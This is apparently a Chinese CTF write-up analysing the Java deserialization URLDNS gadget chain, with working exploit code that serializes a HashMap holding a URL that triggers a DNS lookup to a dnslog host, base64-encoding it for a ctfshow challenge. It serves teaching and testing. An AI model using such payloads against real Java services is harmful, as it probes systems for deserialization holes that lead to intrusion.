漏洞研究

Java反序列化之URLDNS链分析

链子 1. HashMap->readObject 2. HashMap->hash 3. URL->hashCode 4. URLStreamHandler->hashCode 5. URLStreamHandler->getHostAddress 6. InetAddre…

text
ctfshow会对你post提交的ctfshow参数进行base64解码
然后进行反序列化
构造出对当前题目地址的dns查询即可获得flag

链子#

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

入口类选择#

text
实现Serializable接口;
重写readObject方法,
调用一个常见的函数;
接收参数类型宽泛;
最好JDK自带;

本链入口类为**java.util.HashMap**

首先hashmap实现了Serializable接口

image-20250219160303546

因为**HashMap<K,V>存储数据采用的哈希表结构,元素的存取顺序不能保证一致。由于要保证键的唯一、不重复,在反序列化过程中就需要对Key进行hash,这样一来就需要重写readObject**方法。

image-20250219160458773

调用了**hash函数,根据key产生hash。跟进hash()函数,可以看到,这里使用传入参数对象keyhashCode**方法。

image-20250219160830209

最后寻找执行类

image-20250219161407077

exp#

java
package com.exp;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {

    public static void main(String[] args) throws Exception{

        HashMap h=new HashMap();
        URL url=new URL("http://c33test.trj7m6.dnslog.cn");
        Class cls=Class.forName("java.net.URL");
        Field f = cls.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url,1); //为了防止在serialize的时候就产生了url请求
        h.put(url,1);
        f.set(url,-1);

        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
        oos.writeObject(h);

    }
}

使用反射修改 URLhashCode

不会反射的把这部分看懂就会了

java
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class fanshe {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }


    public static void main(String[] args) throws Exception {
        //正常的调用
        fanshe testObj = new fanshe();
        testObj.setName("tom");
        System.out.println("Obj name:" + testObj.getName());
        //使用反射调用
        Class clz = Class.forName("fanshe");
        Method setNameMethod = clz.getMethod("setName", String.class);
        Constructor testConstructor = clz.getConstructor();
        Object testObj1 = testConstructor.newInstance();
        setNameMethod.invoke(testObj1, "tom");
        Method getNameMethod = clz.getMethod("getName");
        System.out.println("Obj name:" + getNameMethod.invoke(testObj1));
    }
}

hashcaode置0置1前面学习过,简单概述一下

URLhashCode() 方法默认情况下会解析 DNS

置1为了防止序列化过程中发送网络请求 set时为-1为了保证反序列化过程中触发DNS解析

那么对于此处例题只需要略微修改即可

java
package com.exp;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class Main {

    public static void main(String[] args) throws Exception{

        HashMap h=new HashMap();
        URL url=new URL("http://484bd69e-839a-4ce1-9a9a-e285d3af0283.challenge.ctf.show/");
        Class cls=Class.forName("java.net.URL");
        Field f = cls.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url,1); //为了防止在serialize的时候就产生了url请求
        h.put(url,1);
        f.set(url,-1);

//        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
//        oos.writeObject(h);

        ByteArrayOutputStream b = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(b);
        oos.writeObject(h);
        byte[] bytes = b.toByteArray();

        Base64.Encoder encoder = Base64.getEncoder();
        String exp = encoder.encodeToString(bytes);
        System.out.println(exp);


    }
}

image-20250219163807632

image-20250219160108801

或者使用ysoserial

image-20250219163828882

查看归档
站内搜索

输入关键词,查找 39 篇记录。